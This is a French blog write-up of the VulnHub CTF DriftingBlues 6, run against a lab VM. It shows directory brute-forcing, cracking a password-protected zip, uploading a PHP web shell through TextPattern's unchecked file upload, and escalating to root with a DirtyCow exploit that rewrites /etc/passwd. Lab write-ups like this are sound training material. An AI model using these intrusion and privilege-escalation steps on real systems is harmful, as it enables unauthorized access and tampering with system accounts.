Accueil Solution du CTF DriftingBlues
Post
Annuler

Solution du CTF DriftingBlues

Quick

Petite présentation tout de même avant d’enchaîner en vitesse grand V. Ce CTF créé par tasiyanci est un boot2root récupérable par VulnHub et de difficulté facile.

La VM fait tourner un site qui nous accueille avec le message suivant :

1
2
3
Drifting Blues Tech
please don't hack
enough is enough!!!

Amusant vu qu’on est sur le 6ème opus de cette saga de CTF. Oui quelque part on s’acharne :D

Je lance Wapiti dessus avec tous les modules dispos. Le buster intégré me remonte pas mal de choses intéressantes :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
[*] Lancement du module buster 
Found webpage http://192.168.56.11/index.html 
Found webpage http://192.168.56.11/robots.txt 
Found webpage http://192.168.56.11/db 
Found webpage http://192.168.56.11/index 
Found webpage http://192.168.56.11/robots 
Found webpage http://192.168.56.11/textpattern/ 
Found webpage http://192.168.56.11/textpattern/LICENSE.txt 
Found webpage http://192.168.56.11/textpattern/index.php 
Found webpage http://192.168.56.11/textpattern/css.php 
Found webpage http://192.168.56.11/textpattern/README.txt 
Found webpage http://192.168.56.11/textpattern/images/ 
Found webpage http://192.168.56.11/textpattern/themes/ 
Found webpage http://192.168.56.11/textpattern/files/ 
Found webpage http://192.168.56.11/textpattern/README 
Found webpage http://192.168.56.11/textpattern/textpattern/ 
Found webpage http://192.168.56.11/textpattern/rpc/ 
Found webpage http://192.168.56.11/textpattern/LICENSE

TextPattern est un CMS et le README nous indique qu’il est ici en version 4.8.3. Ça tombe bien il y a sur exploit-db des exploits comme celui ci pour cette version du logiciel.

L’exploitation nécessite toutefois un compte que l’on a pas. Heureusement on trouve une piste dans le fichier robots.txt :

1
2
3
4
5
User-agent: *
Disallow: /textpattern/textpattern

dont forget to add .zip extension to your dir-brute
;)

Je m’exécute :

1
feroxbuster -u http://192.168.56.11/ -w /fuzzdb/discovery/predictable-filepaths/filename-dirname-bruteforce/raft-large-words.txt -n -x php,txt,zip,html

Il en ressort une archive spammer.zip protégée par mot de passe. Je génère le hash correspondant avec zip2john et John the Ripper casse ce dernier instantanément :

1
myspace4         (spammer.zip/creds.txt)

Le fichier creds.txt obtenu contient des identifiants : mayer:lionheart.

Sans surprise ils permettent de se connecter sur l’appli web. Maintenant parlons de l’exploit pour TextPattern. En le lisant on comprend qu’il ne fait rien de plus qu’utiliser la fonctionnalité d’upload qui ne vérifie pas le type de fichier.

Pas besoin d’exploit donc, on va sur Content puis Files. Ensuite on sélectionne le fichier, on upload et voilà un shell bêtement à l’adresse /textpattern/files/shell.php.

Une fois un shell plus civilisé obtenu (merci ReverseSSH) je fouille sur le système et constate surtout qu’il n’y a pas d’utilisateurs classiques (disposant d’un dossier dans /home). De plus LinPEAS se montre assez silencieux si ce n’est pour les exploits touchant la distribution.

C’est de toute évidence le cheminement attendu car si un utilisateur avait été présent nous aurions pu passer outre en utilisant directement un exploit pour le kernel.

Plus qu’à prendre un des exploits pour DirtyCow :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
www-data@driftingblues:/tmp$ ./dirty g0tr00t 
/etc/passwd successfully backed up to /tmp/passwd.bak 
Please enter the new password: g0tr00t 
Complete line: 
firefart:fihv2UhZG2gL6:0:0:pwned:/root:/bin/bash 

mmap: 7f91e30e8000 
madvise 0 

ptrace 0 
Done! Check /etc/passwd to see if the new user was created. 
You can log in with the username 'firefart' and the password 'g0tr00t'. 

DON'T FORGET TO RESTORE! $ mv /tmp/passwd.bak /etc/passwd 
Done! Check /etc/passwd to see if the new user was created. 
You can log in with the username 'firefart' and the password 'g0tr00t'. 

DON'T FORGET TO RESTORE! $ mv /tmp/passwd.bak /etc/passwd
firefart@driftingblues:/tmp# cd /root/ 
firefart@driftingblues:~# ls 
flag.txt 
firefart@driftingblues:~# cat flag.txt  

░░░░░░▄▄▄▄▀▀▀▀▀▀▀▀▄▄▄▄▄▄▄ 
░░░░░█░░░░░░░░░░░░░░░░░░▀▀▄ 
░░░░█░░░░░░░░░░░░░░░░░░░░░░█ 
░░░█░░░░░░▄██▀▄▄░░░░░▄▄▄░░░░█ 
░▄▀░▄▄▄░░█▀▀▀▀▄▄█░░░██▄▄█░░░░█ 
█░░█░▄░▀▄▄▄▀░░░░░░░░█░░░░░░░░░█ 
█░░█░█▀▄▄░░░░░█▀░░░░▀▄░░▄▀▀▀▄░█ 
░█░▀▄░█▄░█▀▄▄░▀░▀▀░▄▄▀░░░░█░░█ 
░░█░░░▀▄▀█▄▄░█▀▀▀▄▄▄▄▀▀█▀██░█ 
░░░█░░░░██░░▀█▄▄▄█▄▄█▄▄██▄░░█ 
░░░░█░░░░▀▀▄░█░░░█░█▀█▀█▀██░█ 
░░░░░▀▄░░░░░▀▀▄▄▄█▄█▄█▄█▄▀░░█ 
░░░░░░░▀▄▄░░░░░░░░░░░░░░░░░░░█ 
░░▐▌░█░░░░▀▀▄▄░░░░░░░░░░░░░░░█ 
░░░█▐▌░░░░░░█░▀▄▄▄▄▄░░░░░░░░█ 
░░███░░░░░▄▄█░▄▄░██▄▄▄▄▄▄▄▄▀ 
░▐████░░▄▀█▀█▄▄▄▄▄█▀▄▀▄ 
░░█░░▌░█░░░▀▄░█▀█░▄▀░░░█ 
░░█░░▌░█░░█░░█░░░█░░█░░█ 
░░█░░▀▀░░██░░█░░░█░░█░░█ 
░░░▀▀▄▄▀▀░█░░░▀▄▀▀▀▀█░░█ 

congratulations!

Published January 20 2022 at 22:38

Cet article est sous licence CC BY 4.0 par l'auteur.